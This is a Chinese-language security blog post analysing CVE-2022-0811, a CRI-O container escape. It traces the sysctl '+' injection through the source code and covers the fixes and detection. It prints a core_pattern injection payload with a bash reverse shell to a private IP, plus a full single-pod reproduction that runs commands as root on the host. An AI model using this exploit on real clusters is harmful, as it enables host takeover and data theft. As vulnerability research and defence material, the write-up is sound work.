<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    誰動CVE-2022-0811容器逃逸漏洞分析

    VSole2022-03-25 15:21:39

    一、簡介

    CrowdStrike的云威脅研究團隊在CRI-O(一個支撐Kubernetes的容器運行時引擎)中發現了一個新的漏洞(CVE-2022-0811),被稱為“cr8escape”[1]。攻擊者在創建容器時可以從Kubernetes容器中逃離,并獲得對主機的根訪問權,從而可以在集群中的任何地方移動。調用CVE-2022-0811可以讓攻擊者對目標執行各種操作,包括執行惡意軟件、數據外溢和跨pod的橫向移動。CRI-O被很多程序默認使用,影響范圍較大,CVE評分8.8[2]。影響范圍為CRI-O 版本 > 1.19.0。該漏洞已在3月15日發布的CRI-O 版本1.19.6、1.20.7、1.21.6、1.22.3、1.23.2中修復,受影響用戶可以及時升級更新

    本文將從漏洞的復現利用,代碼,修復,檢測幾個方面對CVE-2022-0811漏洞進行詳細分析問權限。

    免責聲明:本文中提到的漏洞利用代碼和分析皆已在研究員博客中公開,僅供研究交流使用,請遵守《網絡安全法》等相關法律法規,切勿將其用于未授權滲透測試。

    二、漏洞代碼分析

    最直接的代碼分析方式就是對代碼進行debug調試,可以很清楚地看到整個代碼的業務邏輯,調用過程,運行中變量的值等。搭配debug調試,能對代碼分析的工作起到事半功倍的效果。

    2.1搭建漏洞驗證調試環境

    首先我們搭建漏洞驗證調試環境。CRI-O采用go語言編寫,于是我們采用delve來進行遠程debug調試。

    1、 安裝delve


    git clone https://github.com/go-delve/delvecd delvemake
    

    2、 編譯CRI-O


    git clone https://github.com/cri-o/cri-o.git# 切換到漏洞修復之前的版本git checkout 1.23.1# 編譯,因為需要debug,所以我們加上DEBUG=1 DEBUG=1 make install
    

    3、 使用delve運行CRI-O


    dlv --listen=:2345 --headless=true --api-version=2 --accept-multiclient exec bin/crio
    

    4、 在IDEA中配置go remote地址

    圖1. 在IDEA中配置go remote地址

    現在就可以愉快地“捉蟲子”(DEBUG)了。

    2.2 漏洞代碼執行分析

    從漏洞復現可以看出,漏洞是在執行Pod創建的時候觸發的,因此對代碼的分析我們就從Pod創建的代碼開始。

    CRI-O的內部通過API的形式定義了各種類型的操作,每種類型的操作對應不同的Handler執行具體的業務邏輯。

    創建Pod的方法名為RunPodSandbox,對應的Handler為_RuntimeService_RunPodSandbox_Handler。


    var _RuntimeService_serviceDesc = grpc.ServiceDesc{   ServiceName: "runtime.v1alpha2.RuntimeService",   HandlerType: (*RuntimeServiceServer)(nil),   Methods: []grpc.MethodDesc{      {         MethodName: "Version",         Handler:    _RuntimeService_Version_Handler,      },      {         MethodName: "RunPodSandbox",         Handler:    _RuntimeService_RunPodSandbox_Handler,      },...
    func _RuntimeService_RunPodSandbox_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {  in := new(RunPodSandboxRequest)if err := dec(in); err != nil {return nil, err  }if interceptor == nil {return srv.(RuntimeServiceServer).RunPodSandbox(ctx, in)  }  info := &grpc.UnaryServerInfo{    Server:     srv,    FullMethod: "/runtime.v1.RuntimeService/RunPodSandbox",  }  handler := func(ctx context.Context, req interface{}) (interface{}, error) {return srv.(RuntimeServiceServer).RunPodSandbox(ctx, req.(*RunPodSandboxRequest))  }return interceptor(ctx, in, info, handler)}
    

    跟進_RuntimeService_RunPodSandbox_Handler,我們可以看到實際調用的是RunPodSandbox。通過對RunPodSandbox斷點調試,如圖2所示,我們可以看到傳入參數req的內容即為我們創建pod的請求對象,sysctls的內容正是傳入的惡意字符串。

    圖2. RunPodSandbox斷點調試

    繼續跟進RunPodSandbox,可以看到處理sysctls相關方法。

    ?  configureGeneratorForSysctls 處理驗證傳入的sysctls參數

    ?  configureGeneratorForSandboxNamespaces執行實際修改設置操作


    //  server/sandbox_run.go
    // RunPodSandbox creates and runs a pod-level sandbox.func (s *Server) RunPodSandbox(ctx context.Context, req *types.RunPodSandboxRequest) (*types.RunPodSandboxResponse, error) {// platform dependent callreturn s.runPodSandbox(ctx, req)}
    // server/sandbox_run_linux.go
    func (s *Server) runPodSandbox(ctx context.Context, req *types.RunPodSandboxRequest) (resp *types.RunPodSandboxResponse, retErr error) {... // 暫時忽略與本漏洞不相關代碼// 關鍵代碼// Add default sysctls given in crio.conf  sysctls := s.configureGeneratorForSysctls(ctx, g, hostNetwork, hostIPC, req.Config.Linux.Sysctls)
    // set up namespaces  nsCleanupFuncs, err := s.configureGeneratorForSandboxNamespaces(hostNetwork, hostIPC, hostPID, sandboxIDMappings, sysctls, sb, g)...  }
    

    configureGeneratorForSysctls 解析傳入的key和value。并對解析出來的key進行判斷,只能是以下幾種類型的:

    ?    kernel.shm

    ?    kernel.msg

    ?    fs.mqueue.

    ?    net.

    這幾種是被認為是安全的,可以被配置的參數項。目前 k8s中只有5種被認為是安全的[3]。

    細心的讀者可能發現了,這邊并沒有對value進行檢測,這就為后面的漏洞埋下了伏筆。


    func (s *Server) configureGeneratorForSysctls(ctx context.Context, g *generate.Generator, hostNetwork, hostIPC bool, sysctls map[string]string) map[string]string {  sysctlsToReturn := make(map[string]string)  ...
    // extract linux sysctls from annotations and pass down to oci runtime// Will override any duplicate default systcl from crio.conffor key, value := range sysctls {// 生成sysctl,調用Validate對參數進行驗證    sysctl := libconfig.NewSysctl(key, value)
    if err := sysctl.Validate(hostNetwork, hostIPC); err != nil {      log.Warnf(ctx, "Skipping invalid sysctl specified over CRI %s: %v", sysctl, err)continue    }    g.AddLinuxSysctl(key, value)    sysctlsToReturn[key] = value  }return sysctlsToReturn}
    // 只有以下的內核參數可以被修改var prefixNamespaces = map[string]Namespace{"kernel.shm": IpcNamespace,"kernel.msg": IpcNamespace,"fs.mqueue.": IpcNamespace,"net.":       NetNamespace,}
    // 可以看出Validate 里面只對Key進行了驗證,沒有對value進行任務的校驗。// 如果value存在+就可以利用后續的分割的機制實現任意的內核參數的注入修改。func (s *Sysctl) Validate(hostNet, hostIPC bool) error {  nsErrorFmt := "%q not allowed with host %s enabled"if ns, found := namespaces[s.Key()]; found {if ns == IpcNamespace && hostIPC {return errors.Errorf(nsErrorFmt, s.Key(), ns)    }return nil  }for p, ns := range prefixNamespaces {if strings.HasPrefix(s.Key(), p) {if ns == IpcNamespace && hostIPC {return errors.Errorf(nsErrorFmt, s.Key(), ns)      }if ns == NetNamespace && hostNet {return errors.Errorf(nsErrorFmt, s.Key(), ns)      }return nil    }  }return errors.Errorf("%s not whitelisted", s.Key())}
    

    我們繼續跟進configureGeneratorForSandboxNamespaces方法,該方法主要調用NewPodNamespaces為pod創建新的namesapce。


    func (s *Server) configureGeneratorForSandboxNamespaces(hostNetwork, hostIPC, hostPID bool, idMappings *idtools.IDMappings, sysctls map[string]string, sb *libsandbox.Sandbox, g *generate.Generator) (cleanupFuncs []func() error, retErr error) {...// now that we've configured the namespaces we're sharing, create them  namespaces, err := s.config.NamespaceManager().NewPodNamespaces(namespaceConfig)
    

    這邊就是問題所在,調用了getSysctlForPinns對cfg.Sysctls進行解析。

    將所有的sysctl用+ 進行拼接合并,可以看到注釋,假定sysctl中不存在+,而攻擊者所做的就是讓這樣子的假定不生效。


    func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {... if len(cfg.Sysctls) != 0 {    pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)if err != nil {return nil, errors.Wrapf(err, "invalid sysctl")    }    pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)  }func getSysctlForPinns(sysctls map[string]string) string {// this assumes there's no sysctl with a `+` in itconst pinnsSysctlDelim = "+"  g := new(bytes.Buffer)for key, value := range sysctls {    fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)  }return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}
    

    調用cmd執行pinns


    logrus.Debugf("Calling pinns with %v", pinnsArgs)  output, err := cmdrunner.Command(mgr.pinnsPath, pinnsArgs...).CombinedOutput()
    

    圖3. cmdrunner.Command斷點調試

    通過圖3調試我們可以很清晰地看到 cmd實際執行的命令為


    /usr/local/bin/pinns -d /var/run/ -f 37f594b6-4ffb-43a2-a0d5-e7b23d642115 -s  'kernel.shm_rmid_forced=1+kernel.core_pattern=|/bin/bash -c "$@" -- eval whoami > /output #'--ipc --net --uts
    

    pinns程序是cri-o用來修改sysctl,設置namespace相關參數的單獨的程序。源代碼只有4個文件,代碼邏輯比較簡單。


    int main(int argc, char **argv) {  ... while ((c = getopt_long(argc, argv, "mpchuUind:f:s:", long_options, NULL)) != -1) {switch (c) {  ... // 解析參數中的 -s參數存到sysctlscase 's':    sysctls = optarg;break;    ...     }  }...// configure_sysctlsif (sysctls && configure_sysctls(sysctls) < 0) {    pexit("Failed to configure sysctls after unshare");  }
    

    前面沒有對sysctl的value沒有做檢測在configure_sysctls這里就是最終導致任意/proc/sys的寫入。

    configure_sysctls中將傳入的sysctls使用 + 循環分割,解析key=value的格式,再寫入文件。

    前面傳入的payload:


    'kernel.shm_rmid_forced=1+kernel.core_pattern=|/bin/bash -c "$@" -- eval /bin/bash -i >& /dev/tcp/10.211.55.4/8888 0>&1 #'
    

    先解析成

    kernel.shm_rmid_forced=1寫入/proc/sys/kernel/shm_rmid_forced

    再將+后面的解析kernel.core_pattern=|/bin/bash.. 寫入/proc/sys/kernel/core_pattern文件。

    從代碼邏輯中可以看出,一開始這個設計的初衷是為了支持多個sysctl參數的設置,但是沒有對參數的格式進行有效的校驗導致的。


    const char *sysctl_delim = "+";int configure_sysctls (char * const sysctls){char* sysctl = strtok(sysctls, sysctl_delim);char* key = NULL;char* value = NULL;while (sysctl)  {if (separate_sysctl_key_value (sysctl, &key, &value) < 0)return -1;
    if (write_sysctl_to_file (key, value) < 0)return -1;    sysctl = strtok (NULL, sysctl_delim);  }return 0;}// 將設置的參數的. 換成 / 拼接/proc/sys,把值寫入具體的文件中static int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){if (!sysctl_key || !sysctl_value)  {    pwarn ("sysctl key or value not initialized");return -1;  }
    // replace periods with / to create the sysctl pathfor (char* it = sysctl_key; *it; it++)if (*it == '.')      *it = '/';
      _cleanup_close_ int dirfd = open ("/proc/sys", O_DIRECTORY | O_PATH | O_CLOEXEC);if (UNLIKELY (dirfd < 0))  {    pwarn ("failed to open /proc/sys");return -1;  }
      _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY);if (UNLIKELY (fd < 0))  {    pwarnf ("failed to open /proc/sys/%s", sysctl_key);return -1;  }
    int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value)));if (UNLIKELY (ret < 0))  {    pwarnf ("failed to write to /proc/sys/%s", sysctl_key);return -1;  }return 0;}
    

    三、漏洞復現

    原博客的漏洞復現方式為先創建一個惡意pod,在pod中創建惡意文件,再創建一個pod,修改core_pattern指向惡意文件,最終觸發core_dump調用執行惡意文件,整個過程涉及到兩個pod的數據的交互。經過測試改進,實際可以只需要一個pod就可以完成整個的漏洞的利用,實現容器逃逸行為。下面我們就將這個漏洞完整的復現一遍。

    1. 先安裝具有漏洞的CRI-O環境,版本低于1.19.6、1.20.7、1.21.6、1.22.3、1.23.2的CRI-O都是存在漏洞的。

    2.  創建容器觸發漏洞修改kernel.core_pattern


    # cat sysctl-set.yaml
    apiVersion: v1kind: Podmetadata:name: sysctl-setspec:securityContext:sysctls:- name: kernel.shm_rmid_forcedvalue: "1+kernel.core_pattern=|/bin/bash -c \"$@\" -- eval whoami > /output #"containers:- name: alpineimage: alpine:latestcommand: ["tail", "-f", "/dev/null"]
    # kubectl create -f ./sysctl-set.yamlpod/sysctl-set created
    

    3.  在容器創建后,我們可以發現宿主機的/proc/sys/kernel/core_pattern已經被修改了。這時只需要觸發Core Dump就可以執行自定義的腳本文件,實行容器逃逸。


    # cat /proc/sys/kernel/core_pattern|/bin/bash -c "$@" -- eval  whoami > /output  #'
    

    4. 在容器中觸發漏洞Core Dump


    # kubectl exec -it sysctl-set -- sh/ #  ulimit -c unlimited/ #  ulimit -cunlimited/ # tail -f /dev/null &/ # psPID   USER     TIME  COMMAND1 root      0:00 tail -f /dev/null9 root      0:00 sh17 root      0:00 tail -f /dev/null18 root      0:00 ps/ # kill -SIGSEGV 17/ #[1]+  Segmentation fault (core dumped) tail -f /dev/null
    

    5.此時在宿主機上我們可以看到,已經以root用戶成功執行了自定義的命令。


    parallels@ubuntu-linux-20-04-desktop:~$ cat /output root
    

    利用此漏洞,不僅可以修改core_pattern,理論上/proc/sys下的所有內核參數都是可以被修改的。對系統的穩定性,可用性都有很大的影響。

    四、漏洞修復

    從代碼的提交記錄圖4可以看出,針對CVE-2022-0811,進行了兩次修復。

    第一次修復的方式很直接,判斷syctld的value中是否存在“+”,只要存在就直接返回err。通過前文的分析,我們知道,拼接的形式的初衷,是為了能夠支持支持多個sysctl參數的設置。但是很明顯,這樣的修復違背了初衷,導致不能設置多個sysctl參數。


    圖4. 第一次漏洞修復

    因此有了第二次修復,如圖5所示。第二次的修復就優雅了很多,直接取消了通過+拼接多個參數傳入pinns,再通過+分割解析的方式,而是直接傳入多個-s的參數。在不影響原始設計初衷的前提下,規避了問題。

    圖5. 第二次漏洞修復

    五、漏洞檢測

    可以根據漏洞的原理以及官方修復的思路,只要syctld的value中存在“+A=B”這種形式的參數,則可以認為此次創建是一種異常行為,更為精確的檢測可以判斷value中是否含有其他危險的內核參數。

    我們可以從兩個角度來檢測:

    1.  檢測 pinns程序的-s參數,參數中是否包含+ = 這樣子的拼接形式。

    2.  在K8s的環境中,我們也可以利用K8s的審計日志的形式,檢測傳入的請求的securityContext.sysctls是否含有以上的特征。

    目前綠盟NCSS-C容器安全管理系統已經支持CVE-2022-0811漏洞利用行為檢測。

    六、總結

    回顧這個漏洞,該功能的設計首先假定了sysctl參數中不會存在+, 然后將所有的參數用+拼接,傳入到pinns后再用+分割解析。這種設計本身就不是很優雅,最終也是導致了這個漏洞的發生。因此可以看出,一個壞的設計可能會導致一系列的問題。在系統架構設計,代碼設計之初就規劃好將能有效地減少各種安全的風險。

    七、參考鏈接

    [1]. https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

    [2]. https://nvd.nist.gov/vuln/detail/CVE-2022-0811

    [3]. https://kubernetes.io/docs/tasks/administer-cluster/sysctl-cluster/

    關于星云實驗室

    星云實驗室專注于云計算安全、解決方案研究與虛擬化網絡安全問題研究。基于IaaS環境的安全防護,利用SDN/NFV等新技術和新理念,提出了軟件定義安全的云安全防護體系。承擔并完成多個國家、省、市以及行業重點單位創新研究課題,已成功孵化落地綠盟科技云安全解決方案。

    內容編輯:星云實驗室 陳建軍 責任編輯:高深

    本公眾號原創文章僅代表作者觀點,不代表綠盟科技立場。所有原創內容版權均屬綠盟科技研究通訊。未經授權,嚴禁任何媒體以及微信公眾號復制、轉載、摘編或以其他方式使用,轉載須注明來自綠盟科技研究通訊并附上本文鏈接。

    stringpod
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    近日,研究人員向Kubernetes安全團隊報告了一個可導致容器逃逸的安全漏洞[1],獲得編號CVE-2021-25741,目前的CVSS3.x評分為8.8[2],屬于高危漏洞。該漏洞引起社區的廣泛討論[3]。有人指出,CVE-2021-25741漏洞是由2017年的CVE-2017-1002101漏洞的補丁不充分導致,事實也的確如此。
    容器安全是一個龐大且牽涉極廣的話題,而容器的安全隔離往往是一套縱深防御的體系,牽扯到AppArmor、Namespace、Capabilities、Cgroup、Seccomp等多項內核技術和特性,但安全卻是一處薄弱則全盤皆輸的局面,一個新的內核特性可能就會讓看似無懈可擊的防線存在突破口。隨著云原生技術的快速發展,越來越多的容器運行時組件在新版本中會默認配置AppArmor策略,原本我們在《紅藍對
    CrowdStrike的云威脅研究團隊在CRI-O(一個支撐Kubernetes的容器運行時引擎)中發現了一個新的漏洞(CVE-2022-0811),被稱為“cr8escape”。
    CVE-2022-0185是Linux內核"File System Context"中的一個堆溢出漏洞,可引起容器逃逸和權限提升,本文將對該漏洞進行分析,并給出檢測、緩解、修復建議和總結思考。
    很簡單,只需要在Kubernetes下安裝gatekeeper, 下載安裝模板,wget https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml, 執行,kubectl apply -f gatekeeper.yaml, 接下來就全都是效果驗證, 創建能控制容器
    關于遠程代碼執行的常用Payload大家好,我是 Ansar Uddin,我是來自孟加拉國的網絡安全研究員。這是我的第二篇 Bug 賞金文章。今天的話題都是關于 Rce 的利用。攻擊者的能力取決于服務器端解釋器的限制。在某些情況下,攻擊者可能能夠從代碼注入升級為命令注入。
    容器安全之CVE-2022-0185
    2022-03-28 16:35:58
    最近的CVE-2022-0185還是挺有意思的,在谷歌kctf(基于 K8s 的 CTF)中被發現。這個洞是在Linux內核的文件系統上下文中功能中的legacy_parse_param函數驗證長度的代碼處有缺陷,導致了一個基于堆的緩沖區溢出(整數下溢)。 攻擊影響為越界寫入/拒絕服務/權限提升和特定場景下的容器逃逸(k8s)。 其中會涉及到一些容器安全的基礎小知識,有必要簡單學習一下這個洞。
    最近這log4j熱度很高。好久沒寫文章了,而且目前市面有些文章里面的內容信息已經有些過時缺少最新信息迭代,借此機會我劍指系列基于國內外的關于此漏洞的研究我進行了總結和歸納,并且將我自己目前發現的小眾的技巧方法分享給各位,希望能給各位帶來幫助不會讓各位失望。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类